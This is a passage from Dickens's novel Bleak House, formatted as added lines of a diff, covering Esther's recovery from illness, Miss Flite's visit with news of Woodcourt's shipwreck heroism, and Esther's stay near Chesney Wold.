+I had heard my Ada crying at the door, day and night; I had heard her
+calling to me that I was cruel and did not love her; I had heard her
+praying and imploring to be let in to nurse and comfort me and to
+leave my bedside no more; but I had only said, when I could speak,
+"Never, my sweet girl, never!" and I had over and over again reminded
+Charley that she was to keep my darling from the room whether I lived
+or died. Charley had been true to me in that time of need, and with
+her little hand and her great heart had kept the door fast.
+
+But now, my sight strengthening and the glorious light coming every
+day more fully and brightly on me, I could read the letters that my
+dear wrote to me every morning and evening and could put them to my
+lips and lay my cheek upon them with no fear of hurting her. I could
+see my little maid, so tender and so careful, going about the two
+rooms setting everything in order and speaking cheerfully to Ada from
+the open window again. I could understand the stillness in the house
+and the thoughtfulness it expressed on the part of all those who had
+always been so good to me. I could weep in the exquisite felicity of
+my heart and be as happy in my weakness as ever I had been in my
+strength.
+
+By and by my strength began to be restored. Instead of lying, with so
+strange a calmness, watching what was done for me, as if it were done
+for some one else whom I was quietly sorry for, I helped it a little,
+and so on to a little more and much more, until I became useful to
+myself, and interested, and attached to life again.
+
+How well I remember the pleasant afternoon when I was raised in bed
+with pillows for the first time to enjoy a great tea-drinking with
+Charley! The little creature--sent into the world, surely, to
+minister to the weak and sick--was so happy, and so busy, and stopped
+so often in her preparations to lay her head upon my bosom, and
+fondle me, and cry with joyful tears she was so glad, she was so
+glad, that I was obliged to say, "Charley, if you go on in this way,
+I must lie down again, my darling, for I am weaker than I thought I
+was!" So Charley became as quiet as a mouse and took her bright face
+here and there across and across the two rooms, out of the shade into
+the divine sunshine, and out of the sunshine into the shade, while I
+watched her peacefully. When all her preparations were concluded and
+the pretty tea-table with its little delicacies to tempt me, and its
+white cloth, and its flowers, and everything so lovingly and
+beautifully arranged for me by Ada downstairs, was ready at the
+bedside, I felt sure I was steady enough to say something to Charley
+that was not new to my thoughts.
+
+First I complimented Charley on the room, and indeed it was so fresh
+and airy, so spotless and neat, that I could scarce believe I had
+been lying there so long. This delighted Charley, and her face was
+brighter than before.
+
+"Yet, Charley," said I, looking round, "I miss something, surely,
+that I am accustomed to?"
+
+Poor little Charley looked round too and pretended to shake her head
+as if there were nothing absent.
+
+"Are the pictures all as they used to be?" I asked her.
+
+"Every one of them, miss," said Charley.
+
+"And the furniture, Charley?"
+
+"Except where I have moved it about to make more room, miss."
+
+"And yet," said I, "I miss some familiar object. Ah, I know what it
+is, Charley! It's the looking-glass."
+
+Charley got up from the table, making as if she had forgotten
+something, and went into the next room; and I heard her sob there.
+
+I had thought of this very often. I was now certain of it. I could
+thank God that it was not a shock to me now. I called Charley back,
+and when she came--at first pretending to smile, but as she drew
+nearer to me, looking grieved--I took her in my arms and said, "It
+matters very little, Charley. I hope I can do without my old face
+very well."
+
+I was presently so far advanced as to be able to sit up in a great
+chair and even giddily to walk into the adjoining room, leaning on
+Charley. The mirror was gone from its usual place in that room too,
+but what I had to bear was none the harder to bear for that.
+
+My guardian had throughout been earnest to visit me, and there was
+now no good reason why I should deny myself that happiness. He came
+one morning, and when he first came in, could only hold me in his
+embrace and say, "My dear, dear girl!" I had long known--who could
+know better?--what a deep fountain of affection and generosity his
+heart was; and was it not worth my trivial suffering and change to
+fill such a place in it? "Oh, yes!" I thought. "He has seen me, and
+he loves me better than he did; he has seen me and is even fonder of
+me than he was before; and what have I to mourn for!"
+
+He sat down by me on the sofa, supporting me with his arm. For a
+little while he sat with his hand over his face, but when he removed
+it, fell into his usual manner. There never can have been, there
+never can be, a pleasanter manner.
+
+"My little woman," said he, "what a sad time this has been. Such an
+inflexible little woman, too, through all!"
+
+"Only for the best, guardian," said I.
+
+"For the best?" he repeated tenderly. "Of course, for the best. But
+here have Ada and I been perfectly forlorn and miserable; here has
+your friend Caddy been coming and going late and early; here has
+every one about the house been utterly lost and dejected; here has
+even poor Rick been writing--to ME too--in his anxiety for you!"
+
+I had read of Caddy in Ada's letters, but not of Richard. I told him
+so.
+
+"Why, no, my dear," he replied. "I have thought it better not to
+mention it to her."
+
+"And you speak of his writing to YOU," said I, repeating his
+emphasis. "As if it were not natural for him to do so, guardian; as
+if he could write to a better friend!"
+
+"He thinks he could, my love," returned my guardian, "and to many a
+better. The truth is, he wrote to me under a sort of protest while
+unable to write to you with any hope of an answer--wrote coldly,
+haughtily, distantly, resentfully. Well, dearest little woman, we
+must look forbearingly on it. He is not to blame. Jarndyce and
+Jarndyce has warped him out of himself and perverted me in his eyes.
+I have known it do as bad deeds, and worse, many a time. If two
+angels could be concerned in it, I believe it would change their
+nature."
+
+"It has not changed yours, guardian."
+
+"Oh, yes, it has, my dear," he said laughingly. "It has made the
+south wind easterly, I don't know how often. Rick mistrusts and
+suspects me--goes to lawyers, and is taught to mistrust and suspect
+me. Hears I have conflicting interests, claims clashing against his
+and what not. Whereas, heaven knows that if I could get out of the
+mountains of wiglomeration on which my unfortunate name has been so
+long bestowed (which I can't) or could level them by the extinction
+of my own original right (which I can't either, and no human power
+ever can, anyhow, I believe, to such a pass have we got), I would do
+it this hour. I would rather restore to poor Rick his proper nature
+than be endowed with all the money that dead suitors, broken, heart
+and soul, upon the wheel of Chancery, have left unclaimed with the
+Accountant-General--and that's money enough, my dear, to be cast into
+a pyramid, in memory of Chancery's transcendent wickedness."
+
+"IS it possible, guardian," I asked, amazed, "that Richard can be
+suspicious of you?"
+
+"Ah, my love, my love," he said, "it is in the subtle poison of such
+abuses to breed such diseases. His blood is infected, and objects
+lose their natural aspects in his sight. It is not HIS fault."
+
+"But it is a terrible misfortune, guardian."
+
+"It is a terrible misfortune, little woman, to be ever drawn within
+the influences of Jarndyce and Jarndyce. I know none greater. By
+little and little he has been induced to trust in that rotten reed,
+and it communicates some portion of its rottenness to everything
+around him. But again I say with all my soul, we must be patient with
+poor Rick and not blame him. What a troop of fine fresh hearts like
+his have I seen in my time turned by the same means!"
+
+I could not help expressing something of my wonder and regret that
+his benevolent, disinterested intentions had prospered so little.
+
+"We must not say so, Dame Durden," he cheerfully replied; "Ada is the
+happier, I hope, and that is much. I did think that I and both these
+young creatures might be friends instead of distrustful foes and that
+we might so far counter-act the suit and prove too strong for it. But
+it was too much to expect. Jarndyce and Jarndyce was the curtain of
+Rick's cradle."
+
+"But, guardian, may we not hope that a little experience will teach
+him what a false and wretched thing it is?"
+
+"We WILL hope so, my Esther," said Mr. Jarndyce, "and that it may not
+teach him so too late. In any case we must not be hard on him. There
+are not many grown and matured men living while we speak, good men
+too, who if they were thrown into this same court as suitors would
+not be vitally changed and depreciated within three years--within
+two--within one. How can we stand amazed at poor Rick? A young man so
+unfortunate," here he fell into a lower tone, as if he were thinking
+aloud, "cannot at first believe (who could?) that Chancery is what it
+is. He looks to it, flushed and fitfully, to do something with his
+interests and bring them to some settlement. It procrastinates,
+disappoints, tries, tortures him; wears out his sanguine hopes and
+patience, thread by thread; but he still looks to it, and hankers
+after it, and finds his whole world treacherous and hollow. Well,
+well, well! Enough of this, my dear!"
+
+He had supported me, as at first, all this time, and his tenderness
+was so precious to me that I leaned my head upon his shoulder and
+loved him as if he had been my father. I resolved in my own mind in
+this little pause, by some means, to see Richard when I grew strong
+and try to set him right.
+
+"There are better subjects than these," said my guardian, "for such a
+joyful time as the time of our dear girl's recovery. And I had a
+commission to broach one of them as soon as I should begin to talk.
+When shall Ada come to see you, my love?"
+
+I had been thinking of that too. A little in connexion with the
+absent mirrors, but not much, for I knew my loving girl would be
+changed by no change in my looks.
+
+"Dear guardian," said I, "as I have shut her out so long--though
+indeed, indeed, she is like the light to me--"
+
+"I know it well, Dame Durden, well."
+
+He was so good, his touch expressed such endearing compassion and
+affection, and the tone of his voice carried such comfort into my
+heart that I stopped for a little while, quite unable to go on. "Yes,
+yes, you are tired," said he. "Rest a little."
+
+"As I have kept Ada out so long," I began afresh after a short while,
+"I think I should like to have my own way a little longer, guardian.
+It would be best to be away from here before I see her. If Charley
+and I were to go to some country lodging as soon as I can move, and
+if I had a week there in which to grow stronger and to be revived by
+the sweet air and to look forward to the happiness of having Ada with
+me again, I think it would be better for us."
+
+I hope it was not a poor thing in me to wish to be a little more used
+to my altered self before I met the eyes of the dear girl I longed so
+ardently to see, but it is the truth. I did. He understood me, I was
+sure; but I was not afraid of that. If it were a poor thing, I knew
+he would pass it over.
+
+"Our spoilt little woman," said my guardian, "shall have her own way
+even in her inflexibility, though at the price, I know, of tears
+downstairs. And see here! Here is Boythorn, heart of chivalry,
+breathing such ferocious vows as never were breathed on paper before,
+that if you don't go and occupy his whole house, he having already
+turned out of it expressly for that purpose, by heaven and by earth
+he'll pull it down and not leave one brick standing on another!"
+
+And my guardian put a letter in my hand, without any ordinary
+beginning such as "My dear Jarndyce," but rushing at once into the
+words, "I swear if Miss Summerson do not come down and take
+possession of my house, which I vacate for her this day at one
+o'clock, P.M.," and then with the utmost seriousness, and in the most
+emphatic terms, going on to make the extraordinary declaration he had
+quoted. We did not appreciate the writer the less for laughing
+heartily over it, and we settled that I should send him a letter of
+thanks on the morrow and accept his offer. It was a most agreeable
+one to me, for all the places I could have thought of, I should have
+liked to go to none so well as Chesney Wold.
+
+"Now, little housewife," said my guardian, looking at his watch, "I
+was strictly timed before I came upstairs, for you must not be tired
+too soon; and my time has waned away to the last minute. I have one
+other petition. Little Miss Flite, hearing a rumour that you were
+ill, made nothing of walking down here--twenty miles, poor soul, in a
+pair of dancing shoes--to inquire. It was heaven's mercy we were at
+home, or she would have walked back again."
+
+The old conspiracy to make me happy! Everybody seemed to be in it!
+
+"Now, pet," said my guardian, "if it would not be irksome to you to
+admit the harmless little creature one afternoon before you save
+Boythorn's otherwise devoted house from demolition, I believe you
+would make her prouder and better pleased with herself than I--though
+my eminent name is Jarndyce--could do in a lifetime."
+
+I have no doubt he knew there would be something in the simple image
+of the poor afflicted creature that would fall like a gentle lesson
+on my mind at that time. I felt it as he spoke to me. I could not
+tell him heartily enough how ready I was to receive her. I had always
+pitied her, never so much as now. I had always been glad of my little
+power to soothe her under her calamity, but never, never, half so
+glad before.
+
+We arranged a time for Miss Flite to come out by the coach and share
+my early dinner. When my guardian left me, I turned my face away upon
+my couch and prayed to be forgiven if I, surrounded by such
+blessings, had magnified to myself the little trial that I had to
+undergo. The childish prayer of that old birthday when I had aspired
+to be industrious, contented, and true-hearted and to do good to some
+one and win some love to myself if I could came back into my mind
+with a reproachful sense of all the happiness I had since enjoyed and
+all the affectionate hearts that had been turned towards me. If I
+were weak now, what had I profited by those mercies? I repeated the
+old childish prayer in its old childish words and found that its old
+peace had not departed from it.
+
+My guardian now came every day. In a week or so more I could walk
+about our rooms and hold long talks with Ada from behind the
+window-curtain. Yet I never saw her, for I had not as yet the courage
+to look at the dear face, though I could have done so easily without
+her seeing me.
+
+On the appointed day Miss Flite arrived. The poor little creature ran
+into my room quite forgetful of her usual dignity, and crying from
+her very heart of hearts, "My dear Fitz Jarndyce!" fell upon my neck
+and kissed me twenty times.
+
+"Dear me!" said she, putting her hand into her reticule, "I have
+nothing here but documents, my dear Fitz Jarndyce; I must borrow a
+pocket handkerchief."
+
+Charley gave her one, and the good creature certainly made use of it,
+for she held it to her eyes with both hands and sat so, shedding
+tears for the next ten minutes.
+
+"With pleasure, my dear Fitz Jarndyce," she was careful to explain.
+"Not the least pain. Pleasure to see you well again. Pleasure at
+having the honour of being admitted to see you. I am so much fonder
+of you, my love, than of the Chancellor. Though I DO attend court
+regularly. By the by, my dear, mentioning pocket handkerchiefs--"
+
+Miss Flite here looked at Charley, who had been to meet her at the
+place where the coach stopped. Charley glanced at me and looked
+unwilling to pursue the suggestion.
+
+"Ve-ry right!" said Miss Flite, "Ve-ry correct. Truly! Highly
+indiscreet of me to mention it; but my dear Miss Fitz Jarndyce, I am
+afraid I am at times (between ourselves, you wouldn't think it) a
+little--rambling you know," said Miss Flite, touching her forehead.
+"Nothing more."
+
+"What were you going to tell me?" said I, smiling, for I saw she
+wanted to go on. "You have roused my curiosity, and now you must
+gratify it."
+
+Miss Flite looked at Charley for advice in this important crisis, who
+said, "If you please, ma'am, you had better tell then," and therein
+gratified Miss Flite beyond measure.
+
+"So sagacious, our young friend," said she to me in her mysterious
+way. "Diminutive. But ve-ry sagacious! Well, my dear, it's a pretty
+anecdote. Nothing more. Still I think it charming. Who should follow
+us down the road from the coach, my dear, but a poor person in a very
+ungenteel bonnet--"
+
+"Jenny, if you please, miss," said Charley.
+
+"Just so!" Miss Flite acquiesced with the greatest suavity. "Jenny.
+Ye-es! And what does she tell our young friend but that there has
+been a lady with a veil inquiring at her cottage after my dear Fitz
+Jarndyce's health and taking a handkerchief away with her as a little
+keepsake merely because it was my amiable Fitz Jarndyce's! Now, you
+know, so very prepossessing in the lady with the veil!"
+
+"If you please, miss," said Charley, to whom I looked in some
+astonishment, "Jenny says that when her baby died, you left a
+handkerchief there, and that she put it away and kept it with the
+baby's little things. I think, if you please, partly because it was
+yours, miss, and partly because it had covered the baby."
+
+"Diminutive," whispered Miss Flite, making a variety of motions about
+her own forehead to express intellect in Charley. "But exceedingly
+sagacious! And so dear! My love, she's clearer than any counsel I
+ever heard!"
+
+"Yes, Charley," I returned. "I remember it. Well?"
+
+"Well, miss," said Charley, "and that's the handkerchief the lady
+took. And Jenny wants you to know that she wouldn't have made away
+with it herself for a heap of money but that the lady took it and
+left some money instead. Jenny don't know her at all, if you please,
+miss!"
+
+"Why, who can she be?" said I.
+
+"My love," Miss Flite suggested, advancing her lips to my ear with
+her most mysterious look, "in MY opinion--don't mention this to our
+diminutive friend--she's the Lord Chancellor's wife. He's married,
+you know. And I understand she leads him a terrible life. Throws his
+lordship's papers into the fire, my dear, if he won't pay the
+jeweller!"
+
+I did not think very much about this lady then, for I had an
+impression that it might be Caddy. Besides, my attention was diverted
+by my visitor, who was cold after her ride and looked hungry and who,
+our dinner being brought in, required some little assistance in
+arraying herself with great satisfaction in a pitiable old scarf and
+a much-worn and often-mended pair of gloves, which she had brought
+down in a paper parcel. I had to preside, too, over the
+entertainment, consisting of a dish of fish, a roast fowl, a
+sweetbread, vegetables, pudding, and Madeira; and it was so pleasant
+to see how she enjoyed it, and with what state and ceremony she did
+honour to it, that I was soon thinking of nothing else.
+
+When we had finished and had our little dessert before us,
+embellished by the hands of my dear, who would yield the
+superintendence of everything prepared for me to no one, Miss Flite
+was so very chatty and happy that I thought I would lead her to her
+own history, as she was always pleased to talk about herself. I began
+by saying "You have attended on the Lord Chancellor many years, Miss
+Flite?"
+
+"Oh, many, many, many years, my dear. But I expect a judgment.
+Shortly."
+
+There was an anxiety even in her hopefulness that made me doubtful if
+I had done right in approaching the subject. I thought I would say no
+more about it.
+
+"My father expected a judgment," said Miss Flite. "My brother. My
+sister. They all expected a judgment. The same that I expect."
+
+"They are all--"
+
+"Ye-es. Dead of course, my dear," said she.
+
+As I saw she would go on, I thought it best to try to be serviceable
+to her by meeting the theme rather than avoiding it.
+
+"Would it not be wiser," said I, "to expect this judgment no more?"
+
+"Why, my dear," she answered promptly, "of course it would!"
+
+"And to attend the court no more?"
+
+"Equally of course," said she. "Very wearing to be always in
+expectation of what never comes, my dear Fitz Jarndyce! Wearing, I
+assure you, to the bone!"
+
+She slightly showed me her arm, and it was fearfully thin indeed.
+
+"But, my dear," she went on in her mysterious way, "there's a
+dreadful attraction in the place. Hush! Don't mention it to our
+diminutive friend when she comes in. Or it may frighten her. With
+good reason. There's a cruel attraction in the place. You CAN'T leave
+it. And you MUST expect."
+
+I tried to assure her that this was not so. She heard me patiently
+and smilingly, but was ready with her own answer.
+
+"Aye, aye, aye! You think so because I am a little rambling. Ve-ry
+absurd, to be a little rambling, is it not? Ve-ry confusing, too. To
+the head. I find it so. But, my dear, I have been there many years,
+and I have noticed. It's the mace and seal upon the table."
+
+What could they do, did she think? I mildly asked her.
+
+"Draw," returned Miss Flite. "Draw people on, my dear. Draw peace out
+of them. Sense out of them. Good looks out of them. Good qualities
+out of them. I have felt them even drawing my rest away in the night.
+Cold and glittering devils!"
+
+She tapped me several times upon the arm and nodded good-humouredly
+as if she were anxious I should understand that I had no cause to
+fear her, though she spoke so gloomily, and confided these awful
+secrets to me.
+
+"Let me see," said she. "I'll tell you my own case. Before they ever
+drew me--before I had ever seen them--what was it I used to do?
+Tambourine playing? No. Tambour work. I and my sister worked at
+tambour work. Our father and our brother had a builder's business.
+We all lived together. Ve-ry respectably, my dear! First, our father
+was drawn--slowly. Home was drawn with him. In a few years he
+was a fierce, sour, angry bankrupt without a kind word or a kind
+look for any one. He had been so different, Fitz Jarndyce. He was
+drawn to a debtors' prison. There he died. Then our brother was
+drawn--swiftly--to drunkenness. And rags. And death. Then my sister
+was drawn. Hush! Never ask to what! Then I was ill and in misery, and
+heard, as I had often heard before, that this was all the work of
+Chancery. When I got better, I went to look at the monster. And then
+I found out how it was, and I was drawn to stay there."
+
+Having got over her own short narrative, in the delivery of which she
+had spoken in a low, strained voice, as if the shock were fresh upon
+her, she gradually resumed her usual air of amiable importance.
+
+"You don't quite credit me, my dear! Well, well! You will, some day.
+I am a little rambling. But I have noticed. I have seen many new
+faces come, unsuspicious, within the influence of the mace and seal
+in these many years. As my father's came there. As my brother's. As
+my sister's. As my own. I hear Conversation Kenge and the rest of
+them say to the new faces, 'Here's little Miss Flite. Oh, you are new
+here; and you must come and be presented to little Miss Flite!' Ve-ry
+good. Proud I am sure to have the honour! And we all laugh. But, Fitz
+Jarndyce, I know what will happen. I know, far better than they do,
+when the attraction has begun. I know the signs, my dear. I saw them
+begin in Gridley. And I saw them end. Fitz Jarndyce, my love,"
+speaking low again, "I saw them beginning in our friend the ward in
+Jarndyce. Let some one hold him back. Or he'll be drawn to ruin."
+
+She looked at me in silence for some moments, with her face gradually
+softening into a smile. Seeming to fear that she had been too gloomy,
+and seeming also to lose the connexion in her mind, she said politely
+as she sipped her glass of wine, "Yes, my dear, as I was saying, I
+expect a judgment shortly. Then I shall release my birds, you know,
+and confer estates."
+
+I was much impressed by her allusion to Richard and by the sad
+meaning, so sadly illustrated in her poor pinched form, that made its
+way through all her incoherence. But happily for her, she was quite
+complacent again now and beamed with nods and smiles.
+
+"But, my dear," she said, gaily, reaching another hand to put it upon
+mine. "You have not congratulated me on my physician. Positively not
+once, yet!"
+
+I was obliged to confess that I did not quite know what she meant.
+
+"My physician, Mr. Woodcourt, my dear, who was so exceedingly
+attentive to me. Though his services were rendered quite
+gratuitously. Until the Day of Judgment. I mean THE judgment that
+will dissolve the spell upon me of the mace and seal."
+
+"Mr. Woodcourt is so far away, now," said I, "that I thought the time
+for such congratulation was past, Miss Flite."
+
+"But, my child," she returned, "is it possible that you don't know
+what has happened?"
+
+"No," said I.
+
+"Not what everybody has been talking of, my beloved Fitz Jarndyce!"
+
+"No," said I. "You forget how long I have been here."
+
+"True! My dear, for the moment--true. I blame myself. But my memory
+has been drawn out of me, with everything else, by what I mentioned.
+Ve-ry strong influence, is it not? Well, my dear, there has been a
+terrible shipwreck over in those East Indian seas."
+
+"Mr. Woodcourt shipwrecked!"
+
+"Don't be agitated, my dear. He is safe. An awful scene. Death in all
+shapes. Hundreds of dead and dying. Fire, storm, and darkness.
+Numbers of the drowning thrown upon a rock. There, and through it
+all, my dear physician was a hero. Calm and brave through everything.
+Saved many lives, never complained in hunger and thirst, wrapped
+naked people in his spare clothes, took the lead, showed them what to
+do, governed them, tended the sick, buried the dead, and brought the
+poor survivors safely off at last! My dear, the poor emaciated
+creatures all but worshipped him. They fell down at his feet when
+they got to the land and blessed him. The whole country rings with
+it. Stay! Where's my bag of documents? I have got it there, and you
+shall read it, you shall read it!"
+
+And I DID read all the noble history, though very slowly and
+imperfectly then, for my eyes were so dimmed that I could not see the
+words, and I cried so much that I was many times obliged to lay down
+the long account she had cut out of the newspaper. I felt so
+triumphant ever to have known the man who had done such generous and
+gallant deeds, I felt such glowing exultation in his renown, I so
+admired and loved what he had done, that I envied the storm-worn
+people who had fallen at his feet and blessed him as their preserver.
+I could myself have kneeled down then, so far away, and blessed him
+in my rapture that he should be so truly good and brave. I felt that
+no one--mother, sister, wife--could honour him more than I. I did,
+indeed!
+
+My poor little visitor made me a present of the account, and when as
+the evening began to close in she rose to take her leave, lest she
+should miss the coach by which she was to return, she was still full
+of the shipwreck, which I had not yet sufficiently composed myself to
+understand in all its details.
+
+"My dear," said she as she carefully folded up her scarf and gloves,
+"my brave physician ought to have a title bestowed upon him. And no
+doubt he will. You are of that opinion?"
+
+That he well deserved one, yes. That he would ever have one, no.
+
+"Why not, Fitz Jarndyce?" she asked rather sharply.
+
+I said it was not the custom in England to confer titles on men
+distinguished by peaceful services, however good and great, unless
+occasionally when they consisted of the accumulation of some very
+large amount of money.
+
+"Why, good gracious," said Miss Flite, "how can you say that? Surely
+you know, my dear, that all the greatest ornaments of England in
+knowledge, imagination, active humanity, and improvement of every
+sort are added to its nobility! Look round you, my dear, and
+consider. YOU must be rambling a little now, I think, if you don't
+know that this is the great reason why titles will always last in the
+land!"
+
+I am afraid she believed what she said, for there were moments when
+she was very mad indeed.
+
+And now I must part with the little secret I have thus far tried to
+keep. I had thought, sometimes, that Mr. Woodcourt loved me and that
+if he had been richer he would perhaps have told me that he loved me
+before he went away. I had thought, sometimes, that if he had done
+so, I should have been glad of it. But how much better it was now
+that this had never happened! What should I have suffered if I had
+had to write to him and tell him that the poor face he had known as
+mine was quite gone from me and that I freely released him from his
+bondage to one whom he had never seen!
+
+Oh, it was so much better as it was! With a great pang mercifully
+spared me, I could take back to my heart my childish prayer to be all
+he had so brightly shown himself; and there was nothing to be undone:
+no chain for me to break or for him to drag; and I could go, please
+God, my lowly way along the path of duty, and he could go his nobler
+way upon its broader road; and though we were apart upon the journey,
+I might aspire to meet him, unselfishly, innocently, better far than
+he had thought me when I found some favour in his eyes, at the
+journey's end.
+
+
+
+
+CHAPTER XXXVI
+
+Chesney Wold
+
+
+Charley and I did not set off alone upon our expedition into
+Lincolnshire. My guardian had made up his mind not to lose sight of
+me until I was safe in Mr. Boythorn's house, so he accompanied us,
+and we were two days upon the road. I found every breath of air, and
+every scent, and every flower and leaf and blade of grass, and every
+passing cloud, and everything in nature, more beautiful and wonderful
+to me than I had ever found it yet. This was my first gain from my
+illness. How little I had lost, when the wide world was so full of
+delight for me.
+
+My guardian intending to go back immediately, we appointed, on our
+way down, a day when my dear girl should come. I wrote her a letter,
+of which he took charge, and he left us within half an hour of our
+arrival at our destination, on a delightful evening in the early
+summer-time.
+
+If a good fairy had built the house for me with a wave of her wand,
+and I had been a princess and her favoured god-child, I could not
+have been more considered in it. So many preparations were made for
+me and such an endearing remembrance was shown of all my little
+tastes and likings that I could have sat down, overcome, a dozen
+times before I had revisited half the rooms. I did better than that,
+however, by showing them all to Charley instead. Charley's delight
+calmed mine; and after we had had a walk in the garden, and Charley
+had exhausted her whole vocabulary of admiring expressions, I was as
+tranquilly happy as I ought to have been. It was a great comfort to
+be able to say to myself after tea, "Esther, my dear, I think you are
+quite sensible enough to sit down now and write a note of thanks to
+your host." He had left a note of welcome for me, as sunny as his own
+face, and had confided his bird to my care, which I knew to be his
+highest mark of confidence. Accordingly I wrote a little note to him
+in London, telling him how all his favourite plants and trees were
+looking, and how the most astonishing of birds had chirped the
+honours of the house to me in the most hospitable manner, and how,
+after singing on my shoulder, to the inconceivable rapture of my
+little maid, he was then at roost in the usual corner of his cage,
+but whether dreaming or no I could not report. My note finished and
+sent off to the post, I made myself very busy in unpacking and
+arranging; and I sent Charley to bed in good time and told her I
+should want her no more that night.
+
+For I had not yet looked in the glass and had never asked to have my
+own restored to me. I knew this to be a weakness which must be
+overcome, but I had always said to myself that I would begin afresh
+when I got to where I now was. Therefore I had wanted to be alone,
+and therefore I said, now alone, in my own room, "Esther, if you are
+to be happy, if you are to have any right to pray to be true-hearted,
+you must keep your word, my dear." I was quite resolved to keep it,
+but I sat down for a little while first to reflect upon all my
+blessings. And then I said my prayers and thought a little more.
+
+My hair had not been cut off, though it had been in danger more than
+once. It was long and thick. I let it down, and shook it out, and
+went up to the glass upon the dressing-table. There was a little
+muslin curtain drawn across it. I drew it back and stood for a moment
+looking through such a veil of my own hair that I could see nothing
+else. Then I put my hair aside and looked at the reflection in the
+mirror, encouraged by seeing how placidly it looked at me. I was very
+much changed--oh, very, very much. At first my face was so strange to
+me that I think I should have put my hands before it and started back
+but for the encouragement I have mentioned. Very soon it became more
+familiar, and then I knew the extent of the alteration in it better
+than I had done at first. It was not like what I had expected, but I
+had expected nothing definite, and I dare say anything definite would
+have surprised me.
+
+I had never been a beauty and had never thought myself one, but I had
+been very different from this. It was all gone now. Heaven was so
+good to me that I could let it go with a few not bitter tears and
+could stand there arranging my hair for the night quite thankfully.
+
+One thing troubled me, and I considered it for a long time before I
+went to sleep. I had kept Mr. Woodcourt's flowers. When they were
+withered I had dried them and put them in a book that I was fond of.
+Nobody knew this, not even Ada. I was doubtful whether I had a right
+to preserve what he had sent to one so different--whether it was
+generous towards him to do it. I wished to be generous to him, even
+in the secret depths of my heart, which he would never know, because
+I could have loved him--could have been devoted to him. At last I
+came to the conclusion that I might keep them if I treasured them
+only as a remembrance of what was irrevocably past and gone, never to
+be looked back on any more, in any other light. I hope this may not
+seem trivial. I was very much in earnest.
+
+I took care to be up early in the morning and to be before the glass
+when Charley came in on tiptoe.
+
+"Dear, dear, miss!" cried Charley, starting. "Is that you?"
+
+"Yes, Charley," said I, quietly putting up my hair. "And I am very
+well indeed, and very happy."
+
+I saw it was a weight off Charley's mind, but it was a greater weight
+off mine. I knew the worst now and was composed to it. I shall not
+conceal, as I go on, the weaknesses I could not quite conquer, but
+they always passed from me soon and the happier frame of mind stayed
+by me faithfully.
+
+Wishing to be fully re-established in my strength and my good spirits
+before Ada came, I now laid down a little series of plans with
+Charley for being in the fresh air all day long. We were to be out
+before breakfast, and were to dine early, and were to be out again
+before and after dinner, and were to talk in the garden after tea,
+and were to go to rest betimes, and were to climb every hill and
+explore every road, lane, and field in the neighbourhood. As to
+restoratives and strengthening delicacies, Mr. Boythorn's good
+housekeeper was for ever trotting about with something to eat or
+drink in her hand; I could not even be heard of as resting in the
+park but she would come trotting after me with a basket, her cheerful
+face shining with a lecture on the importance of frequent
+nourishment. Then there was a pony expressly for my riding, a chubby
+pony with a short neck and a mane all over his eyes who could
+canter--when he would--so easily and quietly that he was a treasure.
+In a very few days he would come to me in the paddock when I called
+him, and eat out of my hand, and follow me about. We arrived at such
+a capital understanding that when he was jogging with me lazily, and
+rather obstinately, down some shady lane, if I patted his neck and
+said, "Stubbs, I am surprised you don't canter when you know how much
+I like it; and I think you might oblige me, for you are only getting
+stupid and going to sleep," he would give his head a comical shake or
+two and set off directly, while Charley would stand still and laugh
+with such enjoyment that her laughter was like music. I don't know
+who had given Stubbs his name, but it seemed to belong to him as
+naturally as his rough coat. Once we put him in a little chaise and
+drove him triumphantly through the green lanes for five miles; but
+all at once, as we were extolling him to the skies, he seemed to take
+it ill that he should have been accompanied so far by the circle of
+tantalizing little gnats that had been hovering round and round his
+ears the whole way without appearing to advance an inch, and stopped
+to think about it. I suppose he came to the decision that it was not
+to be borne, for he steadily refused to move until I gave the reins
+to Charley and got out and walked, when he followed me with a sturdy
+sort of good humour, putting his head under my arm and rubbing his
+ear against my sleeve. It was in vain for me to say, "Now, Stubbs, I
+feel quite sure from what I know of you that you will go on if I ride
+a little while," for the moment I left him, he stood stock still
+again. Consequently I was obliged to lead the way, as before; and in
+this order we returned home, to the great delight of the village.
+
+Charley and I had reason to call it the most friendly of villages, I
+am sure, for in a week's time the people were so glad to see us go
+by, though ever so frequently in the course of a day, that there were
+faces of greeting in every cottage. I had known many of the grown
+people before and almost all the children, but now the very steeple
+began to wear a familiar and affectionate look. Among my new friends
+was an old old woman who lived in such a little thatched and
+whitewashed dwelling that when the outside shutter was turned up on
+its hinges, it shut up the whole house-front. This old lady had a
+grandson who was a sailor, and I wrote a letter to him for her and
+drew at the top of it the chimney-corner in which she had brought him
+up and where his old stool yet occupied its old place. This was
+considered by the whole village the most wonderful achievement in the
+world, but when an answer came back all the way from Plymouth, in
+which he mentioned that he was going to take the picture all the way
+to America, and from America would write again, I got all the credit
+that ought to have been given to the post-office and was invested
+with the merit of the whole system.
+
+Thus, what with being so much in the air, playing with so many
+children, gossiping with so many people, sitting on invitation in so
+many cottages, going on with Charley's education, and writing long
+letters to Ada every day, I had scarcely any time to think about that
+little loss of mine and was almost always cheerful. If I did think of
+it at odd moments now and then, I had only to be busy and forget it.
+I felt it more than I had hoped I should once when a child said,
+"Mother, why is the lady not a pretty lady now like she used to be?"
+But when I found the child was not less fond of me, and drew its soft
+hand over my face with a kind of pitying protection in its touch,
+that soon set me up again. There were many little occurrences which
+suggested to me, with great consolation, how natural it is to gentle
+hearts to be considerate and delicate towards any inferiority. One of
+these particularly touched me. I happened to stroll into the little
+church when a marriage was just concluded, and the young couple had
+to sign the register.
+
+The bridegroom, to whom the pen was handed first, made a rude cross
+for his mark; the bride, who came next, did the same. Now, I had
+known the bride when I was last there, not only as the prettiest girl
+in the place, but as having quite distinguished herself in the
+school, and I could not help looking at her with some surprise. She
+came aside and whispered to me, while tears of honest love and
+admiration stood in her bright eyes, "He's a dear good fellow, miss;
+but he can't write yet--he's going to learn of me--and I wouldn't
+shame him for the world!" Why, what had I to fear, I thought, when
+there was this nobility in the soul of a labouring man's daughter!
+
+The air blew as freshly and revivingly upon me as it had ever blown,
+and the healthy colour came into my new face as it had come into my
+old one. Charley was wonderful to see, she was so radiant and so
+rosy; and we both enjoyed the whole day and slept soundly the whole
+night.
+
+There was a favourite spot of mine in the park-woods of Chesney Wold
+where a seat had been erected commanding a lovely view. The wood had
+been cleared and opened to improve this point of sight, and the
+bright sunny landscape beyond was so beautiful that I rested there at
+least once every day. A picturesque part of the Hall, called the
+Ghost's Walk, was seen to advantage from this higher ground; and the
